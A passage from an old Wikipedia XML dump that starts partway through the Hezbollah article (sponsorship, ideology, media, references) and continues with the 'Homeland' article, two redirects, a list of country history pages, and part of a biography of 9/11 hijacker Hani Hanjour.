Those who consider Hezbollah to be a terrorist organization consider its sponsors (in particular [[Iran]], [[Syria]], and [[Lebanon]]) to stand in violation of UN Security Council Resolutions [[UN Security Council Resolution 1373|1373]] and [[UN Security Council Resolution 1566|1566]].  Further, [[UN Security Council Resolution 1559]] calls for the dismantling of Hezbollah and all other militias. [[Israel]] has lodged continuous complaints[http://domino.un.org/UNISPAL.NSF/85255db800470aa485255d8b004e349a/2005131e10c4ac7485256cb10053e171!OpenDocument] about Hezbollah's actions. Israel has bombed several Syrian targets in retaliation for terrorist and guerrilla attacks by [[Islamic Jihad]] and Hezbollah that Israel claims were sponsored by Syria. An Israeli official said that those attacks are a &quot;message to Syria to stop sponsoring terrorism&quot;.

==Ideology==
The organization views an [[Islamic republic]], on the Iranian model, as the ideal and eventual form of state. However, as their conception of an Islamic republic requires the consent of the people, and Lebanon remains a religiously and ideologically heterogeneous society, their political platform revolves around more mundane issues. According to their published political platform in 2003, Hezbollah claims to favor the introduction of an Islamic government in Lebanon by peaceful democratic means. According to the United States Department of State and reports submitted to Defense Technical Information Center (among other United States agencies) as late as 2001, the organization is seeking to create an [[fundamentalist]] [[Iran]]ian-style [[Islamic republic]] and removal of all non-[[Islam]]ic influences{{fact}}. 

Hezbollah supports the destruction of the state of [[Israel]][http://www.unb.ca/web/bruns/9900/issue14/intnews/israel.html] and co-operates with other militant Islamic organizations such as [[Hamas]] in order to promote this goal.

==Media operations==
Hezbollah operates a satellite television station from [[Lebanon]], ''[[Al-Manar (TV station)|Al-Manar]]'' TV (&quot;the Lighthouse&quot;) as well as a radio station, ''al-Nour'' (&quot;the light&quot;). ''Qubth Ut Alla'' (&quot;The Fist of God&quot;) is the monthly magazine of Hezbollah's paramilitary wing.

Al Manar broadcasts news in Arabic, English, French and Hebrew and is widely watched both in Lebanon and in other Arab countries.  Its transmission in [[France]] (even via satellite, not by any station based on French territory) is controversial. It has been accused of promoting religious and racial hatred (against [[Jew]]s), which is a criminal offense in France. On [[December 13]], [[2004]], the French ''[[Conseil d'État]]'', acting on the request of the French TV authorities, issued an injunction to [[Eutelsat]] to cease the broadcasting of Al Manar in France. ([http://www.conseil-etat.fr/ce/jurispd/index_ac_ld0460.shtml full text of the decision], [http://www.conseil-etat.fr/ce/actual/index_ac_lc0418.shtml press release], in [[French language|French]]; [http://news.bbc.co.uk/1/hi/world/europe/4093579.stm BBC report]).

==See also==
* [[Anti-Zionism]]
* [[Arab-Israeli conflict]]
* [[History of Lebanon]]
* [[Islam]]
* [[Islamist terrorism]]
* [[Islamism]]
* [[Foreign relations of Lebanon]]
* [[Politics of Lebanon]]

==Notes==

{{note|terrorcondemn}} Hezbollah's condemnation of murder of civilians in Egypt and Algeria is described in Saad-Ghorayeb, p. 101.

== Literature ==

* [http://www.ibtauris.com/ibtauris/display.asp?K=510000000440882&amp;cid=ibtauris&amp;sf_01=CAUTHOR&amp;st_01=harik&amp;sf_02=CTITLE&amp;sf_03=KEYWORD&amp;m=1&amp;dc=1 Judith Palmer Harik.  '' Hezbollah: The Changing Face of Terrorism.'']  [[I.B. Tauris.]] 2006.  ISBN 1845110242.
* Amal Saad-Ghorayeb, ''Hizbu'llah. Politics &amp; Religion''. Pluto Press 2002 (London) (ISBN 0745317928)

==External links, resources, and references==
===Official site===
* [http://www.moqawama.net/ Hizbollah] (an [http://www.moqawama.net/english/index.php English version] is also available)
* [http://www.manartv.com/ Al-Manar TV Network]
* [http://www.al-nour.net/ Al-Nour radio]

===UN Resolutions regarding Lebanon===
* [http://www.un.org/News/Press/docs/2004/sc8181.doc.htm UN Press Release SC/8181] UN, [[September 2]], [[2004]]
* [http://www.un.org/apps/news/story.asp?NewsID=11823&amp;Cr=Lebanon&amp;Cr1= Lebanon: Close Security Council vote backs free elections, urges foreign troop pullout] UN, [[September 2]], [[2004]]
* [http://news.bbc.co.uk/2/hi/middle_east/3622260.stm UN vote due on Syria resolution]  BBC, [[September 2]], [[2004]]
* [http://news.yahoo.com/news?tmpl=story&amp;u=/afp/20040901/wl_mideast_afp/un_syria_lebanon_040901185248  US draft resolution at UN demands respect for Lebanon's sovereignty] AFP, [[September 2]], [[2004]]
* [[Wikisource:UN Security Council Resolution 1391]]
* [[Wikisource:UN Security Council Resolution 1496]]
* [[Wikisource:UN Security Council Resolution 1559]]
* [[Wikisource:UN Security Council Resolution 1583]]
''See also: [[History of Lebanon]]''

===United States Department of State===
''see also: [[United States Department of State]]''
* This article incorporates text from the United States Department of State, &quot;[http://www.state.gov/s/ct/rls/rpt/fto/2801.htm Background Information on Foreign Terrorist Organizations],&quot; released by the [[Office of Counterterrorism]], [[October 8]], [[1999]].
* This article also in incorporates text from the United States Department of State,  &quot;Foreign Terrorist Organizations&quot;, Secretary of State, [[October 8]], [[1999]]: originally on http://usinfo.state.gov/topical/pol/terror/fto1999.htm, since removed.

===Information===
* [http://www.geocities.com/martinkramerorg/Hizbullah.htm Hizbullah in Lebanon], entry from the ''Encyclopedia of the Modern Islamic World''.
* [http://www.hizbollah.org/english/info.htm Hizbollah.org] identity and goals
* ''Hizbullah: Politics and Religion'' by [[Amal Saad-Ghorayeb]], (Pluto Press Ltd, 2001), ISBN 0745317936
* [http://www.geocities.com/martinkramerorg/Excluded/Hezbollahbooks.htm Ten books on Hezbollah].
* [http://news.bbc.co.uk/1/hi/world/middle_east/4314423.stm What is Hezbollah] BBC, March 2005
* [http://dmoz.org/Society/Issues/Terrorism/Terrorist_Organizations/Hizballah/ Open Directory Project - ''Hizballah''] directory category
* [http://dir.yahoo.com/Regional/Countries/Lebanon/Government/Politics/Parties/ Yahoo - ''Hezbollah''] directory category
* [http://www.terrorismanswers.com/groups/hezbollah.html Hezbollah: Lebanon, Islamists], Council on Foreign Relations
* [http://www.aph.gov.au/Library/pubs/rn/2002-03/03rn42.htm Hezbollah in Profile], Parliament of Australia ([http://www.aph.gov.au/library/pubs/rn/2002-03/03rn42.pdf PDF] version)
* Abridged translation of &quot;''[http://www.ict.org.il/Articles/Hiz_letter.htm Nass al-Risala al-Maftuha allati wajahaha Hizballah ila-l-Mustad'afin fi Lubnan wa-l-Alam]''&quot; (Hizballah Program), [[February 16]], [[1985]] in [[al-Safir]] ([[Beirut]]).
* [http://www.cnn.com/TRANSCRIPTS/0303/15/cp.00.html CNN transcripts]
* [http://www.rotten.com/library/history/terrorist-organizations/hezbollah/ Rotten.com article on Hezbollah]

===Articles===
* [http://www.haaretz.com/hasen/spages/664445.html Lebanese army sappers defuse rockets intended for Israel] AP, [[December 30]], [[2005]]
* [http://www.defense-update.com/2005/12/al-ghajar-village-flashpoint.html  Al-Ghajar Village Flashpoint] Defense Update, [[December 5]] [[2005]]
* [http://www.jamestown.org/terrorism/news/article.php?articleid=2369844 Radical Islam in Latin America] Chris Zambelis, [[December 2]] [[2005]]
* {{note|EUBlock}} High-level Group of Regulatory Authorities in the Field of Broadcasting – Incitement to hatred in broadcasts coming from outside of the European Union – [[17 March]] [[2005]]. Originally at: http://europa.eu.int/comm/avpolicy/legis/conclusions_regulateurs/conclusions_regulateurs_fin_en.pdf
* [http://www.geocities.com/martinkramerorg/MoralLogic.htm The Moral Logic of Hizbullah] by [[Martin Kramer]].
* [http://www.geocities.com/martinkramerorg/Calculus.htm Hizbullah: The Calculus of Jihad] by [[Martin Kramer]].
* [http://story.news.yahoo.com/news?tmpl=story&amp;cid=574&amp;ncid=721&amp;e=1&amp;u=/nm/20050209/wl_nm/mideast_hizbollah_dc Palestinians Say Hizbollah Trying to Wreck Truce] Diala Saadeh, Reuters, [[February 9]], [[2005]]
* [http://story.news.yahoo.com/news?tmpl=story&amp;cid=540&amp;ncid=736&amp;e=1&amp;u=/ap/20050209/ap_on_re_mi_ea/hezbollah_threat Hezbollah May Be Threat to Mideast Truce] Mohammed Daraghmeh, Associated Press, [[February 9]], [[2005]]
* [http://www.haaretz.com/hasen/spages/479049.html  Iranian arrested photographing Israeli Embassy in Azerbaijan] Amos Harel and Yossi Melman, Haaretz, [[September 20]], [[2004]]
* [http://www.globalpolicy.org/security/issues/lebanon/2004/0914lcard.htm Hizballah and Syria's &quot;Lebanese Card&quot;] Nicholas Blanford,  Middle East Online Report, [[September 14]], [[2004]]
* [http://www.dailystar.com.lb/article.asp?edition_id=1&amp;categ_id=1&amp;article_id=7297 UNIFIL keeps constant watch in South Lebanon] The Daily Star, [[August 13]], [[2004]]
* [http://www.dailystar.com.lb/article.asp?edition_id=10&amp;categ_id=5&amp;article_id=6519 Sticking to the rules in South Lebanon] The Daily Star, [[July 23]], [[2004]]
* [http://www.mafhoum.com/press7/190P8.htm In Search of Hezbollah], by Adam Shatz New York Review of Books, [[April 29]], [[2004]]
* [http://www.dailystar.com.lb/article.asp?article_ID=1315&amp;categ_ID=2&amp;edition_id=1 Nasrallah to Hamas: We are under your command] The Daily Star, [[March 29]], [[2004]]
* [http://www.merip.org/mero/mero042803.html Hezbollah in the Firing Line].  Middle East Report, [[April 28]], [[2003]]
*  Zisser, Eyal, &quot;''[http://www.meforum.org/article/499 The Return of Hizbullah]''&quot;.  Middle East Quarterly, Fall 2003.
* Westcott, Kathryn, &quot;''[http://news.bbc.co.uk/2/hi/middle_east/1908671.stm Who are Hezbollah?]''&quot;, [[BBC]] News Online
* [http://www.meib.org/articles/0202_l1.htm ''[[MEIB]]'' Hezbollah: Between Tehran and Damascus by Gary C. Gambill and Ziad K. Abdelnour]
* &quot;''[http://members.optushome.com.au/spainter/Hezbollah.html Liberals, Labor, ABC unite against Hezbollah but are they telling the truth]''?&quot;
* '[http://www.haaretzdaily.com/hasen/pages/ShArt.jhtml?itemNo=247609&amp;contrassID=2&amp;subContrassID=1&amp;sbSubContrassID=0 Arms from Iraq caused blast at Hezbollah base]'
* [http://www.meib.org/articles/9909_l5.htm ''[[MEIB]]'' Hezbollah is Recruiting Europeans for Terrorist Attacks against Israel]
* [http://www.crisisgroup.org/home/index.cfm?id=1828&amp;l=1 Hizbollah: Rebel without a cause?].Middle East Briefing N°7 by the International Crisis Group, [[30 July]] [[2003]]


[[Category:Hezbollah|*]]
[[Category:Political parties in Lebanon]]

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        <id>478268</id>
      </contributor>
      <text xml:space="preserve">A '''homeland''' is the concept of the territory to which one belongs; usually, the country in which a particular nationality was born. When used as a [[proper noun]], the word (and its cognates in other languages; e.g., ''Heimatland'' in German) has [[ethnic nationalism|ethnic nationalist]] connotations. As a common noun, it simply connotes the country of one's origin.

There are synonyms with varying connotations: [[fatherland]], [[motherland]], [[mother country]], [[country of origin]], and [[native land]].

In [[History of South Africa in the Apartheid Era|apartheid]] [[South Africa]] the concept was given a different meaning. The white government transformed the 13% of its territory that had been exempted from white settlement into regions of home-rule. Then they tried to bestow independence on these regions, so that they could then claim that the other 87% was white territory. See [[Bantustan]].

The [[Soviet Union]] created homelands for some minorities in the [[1920s]], including the [[Volga German ASSR]] and the [[Jewish Autonomous Oblast]]. Often, as in the case of the Volga German ASSR, these homelands were later brutally abolished and their inhabitants deported to either [[Siberia]] or the [[Kazakh SSR]].

It was extremely rare for the term to be used by [[United States]] citizens to describe their own country up until the term of President [[George W. Bush]], the [[September 11, 2001 attacks]], and the subsequent creation of the [[Department of Homeland Security]].  It was more common for people to use it to refer to the land of their ancestors, so many found the use of the term to be jarring, and others, due to the word's ethnic nationalism connotations, feel it has almost [[Nineteen Eighty-Four|Orwellian]] overtones.  

==See also== 
*[[Homeland Security]]
*[[Separatism]]
*[[List of ethnic groups]]
*[[Ethnic autonomous regions]]

[[Category:Nationalism]]

[[de:Heimat]]
[[eo:hejmo (regiono)]]
[[pl:ojczyzna prywatna]]</text>
    </revision>
  </page>
  <page>
    <title>History of extinct nations and states</title>
    <id>13921</id>
    <revision>
      <id>15911505</id>
      <timestamp>2004-03-07T06:36:16Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; List of extinct states</comment>
      <text xml:space="preserve">#REDIRECT [[List of extinct states]]</text>
    </revision>
  </page>
  <page>
    <title>History of present-day nations and states</title>
    <id>13922</id>
    <revision>
      <id>41428655</id>
      <timestamp>2006-02-27T06:34:02Z</timestamp>
      <contributor>
        <ip>217.10.38.16</ip>
      </contributor>
      <text xml:space="preserve">{{Lists by country}}

This is a list of articles on the [[history]] of contemporary countries, states and dependencies. 

* See [[List of extinct countries, empires, etc.]] and [[Former countries in Europe after 1815]] for articles about countries that are no longer in existence.
* See [[List of countries]] for other articles and lists on countries.

{{compactTOC2}}__NOTOC__

==A==
[[History of Abkhazia|Abkhazia]] -
[[History of Afghanistan|Afghanistan]] -
[[History of Albania|Albania]] -
[[History of Algeria|Algeria]] -
[[History of Andorra|Andorra]] -
[[History of Angola|Angola]] -
[[History of Anguilla|Anguilla]] -
[[History of Antigua and Barbuda|Antigua and Barbuda]] -
[[History of Argentina|Argentina]] -
[[History of Armenia|Armenia]] -
[[History of Aruba|Aruba]] -
[[History of Ashmore and Cartier Islands|Ashmore and Cartier Islands]] -
[[History of Australia|Australia]] -
[[History of Austria|Austria]] -
[[History of Azerbaijan|Azerbaijan]]

==B==
[[History of the Bahamas|Bahamas]] -
[[History of Bahrain|Bahrain]] -
[[History of Baker Island|Baker Island]] -
[[History of Bangladesh|Bangladesh]] -
[[History of Barbados|Barbados]] -
[[History of Bassas da India|Bassas da India]] -
[[History of Belarus|Belarus]] -
[[History of Belgium|Belgium]] -
[[History of Belize|Belize]] -
[[History of Benin|Benin]] -
[[History of Bermuda|Bermuda]] -
[[History of Bhutan|Bhutan]] -
[[History of Bolivia|Bolivia]] -
[[History of Bosnia and Herzegovina|Bosnia and Herzegovina]] -
[[History of Botswana|Botswana]] -
[[History of Bouvet Island|Bouvet Island]] -
[[History of Brazil|Brazil]] -
[[History of the British Indian Ocean Territory|British Indian Ocean Territory]] -
[[History of the British Virgin Islands|British Virgin Islands]] -
[[History of Brunei|Brunei]] -
[[History of Bulgaria|Bulgaria]] -
[[History of Burkina Faso|Burkina Faso]] -
[[History of Myanmar|Burma (now Myanmar)]] -
[[History of Burundi|Burundi]]

==C==
[[History of Cambodia|Cambodia]] - [[History of Cameroon|Cameroon]] - [[History of Canada|Canada]] - [[History of Cape Verde|Cape Verde]] - [[History of the Cayman Islands|Cayman Islands]] -
[[History of the Central African Republic|Central African Republic]] -
[[History of Chad|Chad]] -
[[History of Chechnya|Chechnya]] -
[[History of Chile|Chile]] -
[[History of the People's Republic of China|People's Republic of China]] -
[[History of the Republic of China|Republic of China]] ([[History of Taiwan|Taiwan]]) -
[[Christmas Island]] -
[[History of Clipperton Island|Clipperton Island]] -
[[History of the Cocos Islands|Cocos Islands]] - [[History of Colombia|Colombia]] -
[[History of Comoros|Comoros]] -
[[History of the Democratic Republic of the Congo|Democratic Republic of the Congo]] -
[[History of the Republic of the Congo|Republic of the Congo]] -
[[History of the Cook Islands|Cook Islands]] -
[[History of the Coral Sea Islands|Coral Sea Islands]] -
[[History of Costa Rica|Costa Rica]] -
[[History of Côte d'Ivoire|Côte d'Ivoire]] -
[[History of Croatia|Croatia]] -
[[History of Cuba|Cuba]] -
[[History of Cyprus|Cyprus]] -
[[History of the Czech Republic|Czech Republic]]

==D==
[[History of Denmark|Denmark]] - [[History of Djibouti|Djibouti]] - [[History of Dominica|Dominica]] - [[History of the Dominican Republic|Dominican Republic]]

==E==
[[History of East Timor|East Timor]] -
[[History of Ecuador|Ecuador]] -
[[History of Egypt|Egypt]] -
[[History of El Salvador|El Salvador]] -
[[History of Equatorial Guinea|Equatorial Guinea]] -
[[History of Eritrea|Eritrea]] -
[[History of Estonia|Estonia]] -
[[History of Ethiopia|Ethiopia]] -
[[History of Europa Island|Europa Island]]

==F==
[[History of the Falkland Islands|Falkland Islands (Islas Malvinas)]] -
[[History of the Faroe Islands|Faroe Islands]] -
[[History of Fiji|Fiji]] -
[[History of Finland|Finland]] -
[[History of France|France]] -
[[History of French Guiana|French Guiana]] -
[[History of French Polynesia|French Polynesia]] -
[[History of the French Southern and Antarctic Lands|French Southern and Antarctic Lands]]

==G==
[[History of Gabon|Gabon]] -
[[History of The Gambia|The Gambia]] -
[[History of the West Bank and Gaza Strip|Gaza Strip and West Bank]] -
[[History of Georgia (country)|Georgia]] -
[[History of Germany|Germany]] -
[[History of Ghana|Ghana]] -
[[History of Gibraltar|Gibraltar]] -
[[History of the Glorioso Islands|Glorioso Islands]] -
[[History of Greece|Greece]] -
[[History of Greenland|Greenland]] - [[History of Grenada|Grenada]] - [[History of Guadeloupe|Guadeloupe]] -
[[History of Guam|Guam]] -
[[History of Guatemala|Guatemala]] -
[[History of Guernsey|Guernsey]] -
[[History of Guinea|Guinea]] - [[History of Guinea-Bissau|Guinea-Bissau]] - [[History of Guyana|Guyana]]

==H==
[[History of Haiti|Haiti]] - [[History of the Heard Island and McDonald Islands|Heard Island and McDonald Islands]] - Holy See (''see'' [[History of the Vatican City|Vatican City]]) - [[History of Honduras|Honduras]] - [[History of Hong Kong|Hong Kong]] -
[[History of Howland Island|Howland Island]] -
[[History of Hungary|Hungary]]

==I==
[[History of Iceland|Iceland]] - [[History of India|India]] - [[History of Indonesia|Indonesia]] - [[History of Iran|Iran]] - [[History of Iraq|Iraq]] - [[History of Ireland|Ireland]] - [[History of the Isle of Man|Isle of Man]] - [[History of Israel|Israel]] (''see also'' [[History of Palestine|Palestine]]) - [[History of Italy|Italy]]

==J==
[[History of Jamaica|Jamaica]] - [[History of Jan Mayen|Jan Mayen]] - [[History of Japan|Japan]] - [[History of Jarvis Island|Jarvis Island]] - [[History of Jersey|Jersey]] - [[History of Johnston Atoll|Johnston Atoll]] - [[History of Jordan|Jordan]] - [[History of Juan de Nova Island|Juan de Nova Island]]

==K==
[[History of Kazakhstan|Kazakhstan]] - [[History of Kenya|Kenya]] - [[Kingman Reef]] - [[History of Kiribati|Kiribati]] - [[History of North Korea|Korea, North]] - [[History of South Korea|Korea, South]] - [[History of Kuwait|Kuwait]] - [[History of Kyrgyzstan|Kyrgyzstan]]

==L==
[[History of Laos|Laos]] - [[History of Latvia|Latvia]] - [[History of Lebanon|Lebanon]] - [[History of Lesotho|Lesotho]] -
[[History of Liberia|Liberia]] -
[[History of Libya|Libya]] -
[[History of Liechtenstein|Liechtenstein]] - [[History of Lithuania|Lithuania]] - [[History of Luxembourg|Luxembourg]]

==M==
[[History of Macau|Macau]] - [[History of the Republic of Macedonia|The Republic of Macedonia]] - [[History of Madagascar|Madagascar]] - [[History of Malawi|Malawi]] - [[History of Malaysia|Malaysia]] - [[History of the Maldives|Maldives]] - [[History of Mali|Mali]] - [[History of Malta|Malta]] - [[History of the Isle of Man|Isle of Man]] - [[History of the Marshall Islands|Marshall Islands]] - [[History of Martinique|Martinique]] - [[History of Mauritania|Mauritania]] - [[History of Mauritius|Mauritius]] - [[History of Mayotte|Mayotte]] - [[History of Mexico|Mexico]] - &lt;font size=-1&gt;Federated States of &lt;/font&gt;[[History of the Federated States of Micronesia|Micronesia]] - [[History of the Midway Islands|Midway Islands]] - [[History of Moldova|Moldova]] - [[History of Monaco|Monaco]] - [[History of Mongolia|Mongolia]] - [[History of Montserrat|Montserrat]] - [[History of Morocco|Morocco]] - [[History of Mozambique|Mozambique]] - [[History of Myanmar|Myanmar]]

==N==
[[History of Namibia|Namibia]] -
[[History of Nauru|Nauru]] -
[[History of Navassa Island|Navassa Island]] -
[[History of Nepal|Nepal]] - [[History of the Netherlands|Netherlands]] -
[[History of the Netherlands Antilles|Netherlands Antilles]] -
[[History of New Caledonia|New Caledonia]] -
[[History of New Zealand|New Zealand]] - [[History of Nicaragua|Nicaragua]] -
[[History of Niger|Niger]] -
[[History of Nigeria|Nigeria]] -
[[History of Niue|Niue]] -
[[History of Norfolk Island|Norfolk Island]] - [[History of North Korea|North Korea]] - [[History of the Northern Mariana Islands|Northern Mariana Islands]] - [[History of Norway|Norway]]

==O==
[[History of Oman|Oman]]

==P==
[[History of Pakistan|Pakistan]] - [[History of Palau|Palau]] - [[History of Palmyra Atoll|Palmyra Atoll]] - [[History of Panama|Panama]] - [[History of Papua New Guinea|Papua New Guinea]] - [[History of the Paracel Islands|Paracel Islands]]- [[History of Paraguay|Paraguay]] - [[History of Peru|Peru]] - [[History of the Philippines|Philippines]]- [[History of the Pitcairn Islands|Pitcairn Islands]] - [[History of Poland|Poland]] - [[History of Portugal|Portugal]] - [[History of Puerto Rico|Puerto Rico]]

==Q==
[[History of Qatar|Qatar]]

==R==
[[History of Réunion|Réunion]] -
[[History of Romania|Romania]] -
[[History of Russia|Russia]] -
[[History of Rwanda|Rwanda]]

==S==
[[History of Saint Helena|Saint Helena]] - [[History of Saint Kitts and Nevis|Saint Kitts and Nevis]] - [[History of Saint Lucia|Saint Lucia]] - [[History of Saint Pierre and Miquelon|Saint Pierre and Miquelon]] - [[History of Saint Vincent and the Grenadines|Saint Vincent and the Grenadines]] - [[History of Samoa|Samoa]] - [[History of San Marino|San Marino]] - [[History of São Tomé and Príncipe|São Tomé and Príncipe]] - [[History of Saudi Arabia|Saudi Arabia]] - [[History of Senegal|Senegal]] - [[History of Serbia and Montenegro|Serbia and Montenegro]] - [[History of Seychelles|Seychelles]] - [[History of Sierra Leone|Sierra Leone]] - [[History of Singapore|Singapore]] - [[History of Slovakia|Slovakia]] - [[History of Slovenia|Slovenia]] - [[History of the Solomon Islands|Solomon Islands]] - [[History of Somalia|Somalia]] - [[History of South Africa|South Africa]] - [[History of South Georgia and the South Sandwich Islands|South Georgia and the South Sandwich Islands]] - [[History of South Korea|South Korea]] - [[History of Spain|Spain]] - [[History of the Spratly Islands|Spratly Islands]] - [[History of Sri Lanka|Sri Lanka]] - [[History of Sudan|Sudan]] - [[History of Suriname|Suriname]] - [[History of Svalbard|Svalbard]] - [[History of Swaziland|Swaziland]] - [[History of Sweden|Sweden]] - [[History of Switzerland|Switzerland]] - [[History of Syria|Syria]]

==T==
Taiwan (See [[#C|Republic of China]])- 
[[History of Tajikistan|Tajikistan]] - 
[[History of Tanzania|Tanzania]] -
[[History of Tatarstan|Tatarstan]] -
[[History of Thailand|Thailand]] - 
[[History of Tibet|Tibet]] - 
[[History of Togo|Togo]] - 
[[History of Tokelau|Tokelau]] - 
[[History of Tonga|Tonga]] - 
[[History of Trinidad and Tobago|Trinidad and Tobago]] - 
[[History of Tromelin Island|Tromelin Island]] - 
[[History of Tunisia|Tunisia]] - 
[[History of Turkey|Turkey]] - 
[[History of Turkmenistan|Turkmenistan]] - 
[[History of the Turks and Caicos Islands|Turks and Caicos Islands]] - [[History of Tuvalu|Tuvalu]]

==U==
[[History of Uganda|Uganda]] - 
[[History of Ukraine|Ukraine]] - 
[[History of the United Arab Emirates|United Arab Emirates]] - 
[[History of the United Kingdom|United Kingdom]] - 
[[History of the United States|United States]] - 
[[History of Uruguay|Uruguay]] - 
[[History of Uzbekistan|Uzbekistan]]

==V==
[[History of Vanuatu|Vanuatu]] - 
[[History of the Vatican City|Vatican City]] - 
[[History of Venezuela|Venezuela]] - 
[[History of Vietnam|Vietnam]] - 
[[History of the Virgin Islands|Virgin Islands]]

==W==
[[History of Wake Island|Wake Island]] - 
[[History of Wallis and Futuna|Wallis and Futuna]] - 
[[History of the West Bank and Gaza Strip|West Bank and Gaza Strip]] - 
[[History of Western Sahara|Western Sahara]]

==Y==
[[History of Yemen|Yemen]] 

==Z==
[[History of Zambia|Zambia]] - 
[[History of Zimbabwe|Zimbabwe]]

==See also==
* [[History by continent]]
* [[History by region]]


[[Category:History by country| ]]

[[es:Lista de artículos históricos por país]]
[[hr:Povijest današnjih nacija i država]]
[[zh:当今各国历史]]</text>
    </revision>
  </page>
  <page>
    <title>Humor</title>
    <id>13923</id>
    <revision>
      <id>27475568</id>
      <timestamp>2005-11-05T21:47:05Z</timestamp>
      <contributor>
        <username>Zzyzx11</username>
        <id>182902</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/67.119.131.122|67.119.131.122]] to last version by Hadal</comment>
      <text xml:space="preserve">#REDIRECT [[Humour]]</text>
    </revision>
  </page>
  <page>
    <title>Hani Hanjour</title>
    <id>13924</id>
    <revision>
      <id>41841029</id>
      <timestamp>2006-03-02T02:16:01Z</timestamp>
      <contributor>
        <ip>165.123.154.106</ip>
      </contributor>
      <text xml:space="preserve">[[Image:HHanjour0.JPG|right|frame|This photograph of Hani Hanjour was released by the [[Federal Bureau of Investigation|FBI]] in the days following the attack.]] 

'''Hani Saleh Hanjour,''' ([[Arabic language|Arabic]]: &amp;#1607;&amp;#1575;&amp;#1606;&amp;#1610; &amp;#1589;&amp;#1575;&amp;#1604;&amp;#1581; &amp;#1581;&amp;#1606;&amp;#1580;&amp;#1608;&amp;#1585;) was one of five men named by the [[Federal Bureau of Investigation|FBI]] as [[Organizers of the September 11, 2001 attacks|hijackers]] of  [[American Airlines flight 77]] in the [[September 11, 2001 Terrorist Attack]]. The [[FBI]] believes that he piloted the plane and crashed it into [[the Pentagon]].  Since the attack, it has been suggested that Hanjour was among the most observant Muslims in the attacks. &lt;!--Reference &quot;Ghosts in the Sky&quot; by Kee Dewdney, can't figure out how to cite at the moment--&gt;

==History==
Born [[August 13]], [[1972]] Hanjour was the fourth of seven children,  born to a food-supply businessman in [[Ta'if]], [[Saudi Arabia]]. 

During his youth he suggested he may drop out of school to become a [[flight attendant]], although his brother Abulrahman discouraged this route, and tried to help Hanjour focus on his studies.([http://www.whatreallyhappened.com/hanjour_history.html Cape Cod Times])

He was the only hijacker to live in the [[United States]] prior to any intentions for a large-scale attack, and never stayed with the other three pilots in Germany. 

===Early 1990s===
[[Image:HaniHanjour-Young.jpg|thumb|left|120px|A young Hanjour]][[FBI]] director [[Robert Mueller]] testified that Hanjour first arrived on [[October 3]], [[1991]], and the [[9/11 Commission]] agreed with that date.[http://www.cooperativeresearch.org/timeline/2002/senatecommittee092602.html]  

However several news sources report him in the country earlier.[http://query.nytimes.com/gst/abstract.html?res=F10711FC3C5B0C7A8DDDAF0894DA404482][http://www.cooperativeresearch.org/timeline/2001/coxnews101501.html]These dates seem to make Hanjour the least likely hijacker however, since it means he had no connection with the European cells the other 18 hijackers came from.  

Hanjour's brother Abulrahman arranged an apartment for Hanjour to live in, and helped him apply to an eight-week program to study [[English language|English]] at the [[University of Arizona]]. After completing the program, Hanjour remained in the United States another 4 weeks before he flew back to live with his family in Taif.  He spent the next five years there, helping the family manage a [[lemon]] and [[Date Palm|dates]] farm.  In 1996, he travelled briefly to [[Afghanistan]] to work with a relief agency.

In 1996, Hanjour decided to return to the United States, and again asked his brother for help.  Abulrahman contacted a family he knew living in [[Tucson, Arizona]], and asked if they would be willing to put up Hani as a favour to him.  They agreed, although they had since moved to [[Miramir, Florida]], and Hanjour flew back to the US where he lived with Susan and Adnan Khalil for a few months. After the attacks, the Khalils would recall that they had been struck by how unlike Abulrahman he was, devoutly religious, whereas his brother had been fond of parties and drinking.

In April 1996, Hanjour moved in with a host family in [[Oakland, California]] where he  enrolled in intensive English studies at [[Holy Names College]], and attended a single class at [[Sierra Academy of Aeronautics]] before withdrawing, citing financial worries about the $35,000 cost.  

[[Image:HaniHanjourVisa1997.jpg|thumb|80px|1997 Application]]After moving to [[Phoenix, Arizona]], Hanjour paid $4800 for lessons at ''CRM Flight Cockpit Resource Management'' in [[Scottsdale, Arizona|Scottsdale]].  He received poor marks from instructor Duncan Hastie, and left the school frustrated, compounded with the fact his recent Visa application had been denied.

Hanjour is recorded re-entering the United States on November 16, 1997.  He made a brief sidetrip to Florida, before returning to Phoenix where he shared an apartment with [[Bandar al-Hazmi]].  In December, he again attended ''CRM Flight Cockpit Resource Management'', though left after a few weeks training.

===1998===
Hanjour was still living with Bandar in January, and the two of them both took flying lessons at [[Arizona Aviation]], where Hanjour eventually earned his commercial pilot rating.

After moving out of Bandar's place, Hanjour lived in several apartments in [[Tempe]], [[Mesa]] and [[Phoenix, Arizona|Phoenix]], and enrolled in [[flight simulator]] classes at the [[Sawyer School of Aviation]] where he made only three or four visits. Interestingly [[Lotfi Raissi]] would begin taking lessons at the same school a month after Hanjour quit, part of what piqued the FBI's interest in Raissi. 

In February, financial records showed that Hanjour had taken a trip to [[Las Vegas]].

An FBI informant named [[Aukai Collins]] claims he told the FBI about Hanjour's activities during [[1998]], giving them Hanjour's name and phone number, and warning them that more and more foreign-born Muslims seem to be taking flying lessons.  The FBI admits it paid Collins to monitor the Islamic and Arab communities in Phoenix at the time, but denies Collins told them anything about Hanjour.[http://www.cooperativeresearch.org/timeline/2002/ap052402.html][http://abcnews.go.com/sections/wnt/DailyNews/FBI_informant020523.html][http://www.cooperativeresearch.org/timeline/2002/foxnews052402.html]

In August 1998, Hanjour requested to rent a small plane at the [[Freeway Airport]] in [[Bowie, Maryland]].  However, after three practise flights with an overseer, it was decided that he was not capable enough to allow him to rent.

===1999===
Hanjour's bank records indicate that he travelled to [[Ontario, Canada]] in March of 1999 for an unknown reason.

Hanjour gained his [[FAA]] commercial pilot's license in April of 1999, but was unable to get a job as a pilot after he returned to his native [[Saudi Arabia]], and told his family he was heading to the [[United Arab Emirates]] to find work.  He took an international flight out of [[New York]] on April 28th, it is not known where he went.  Within two weeks however, bank withdrawals are again made from [[Arizona]], indicating he had returned.

===2000===
[[Image:HaniHanour-VisaApplication.jpg|thumb|left|130px|Application Photo]][[Image:HaniHanjourVisa3.jpg|thumb|75px|Page B]][[Image:HaniHanjourVisa1.jpg|thumb|75px|Page A]]In May 2000, a third person accompanied Salem al-Hazmi and al-Mihdhar to ''Sorbi's Flying Club'' where he waited on the ground as they took a flight lesson, it has been theorized this may have been Hanjour.  

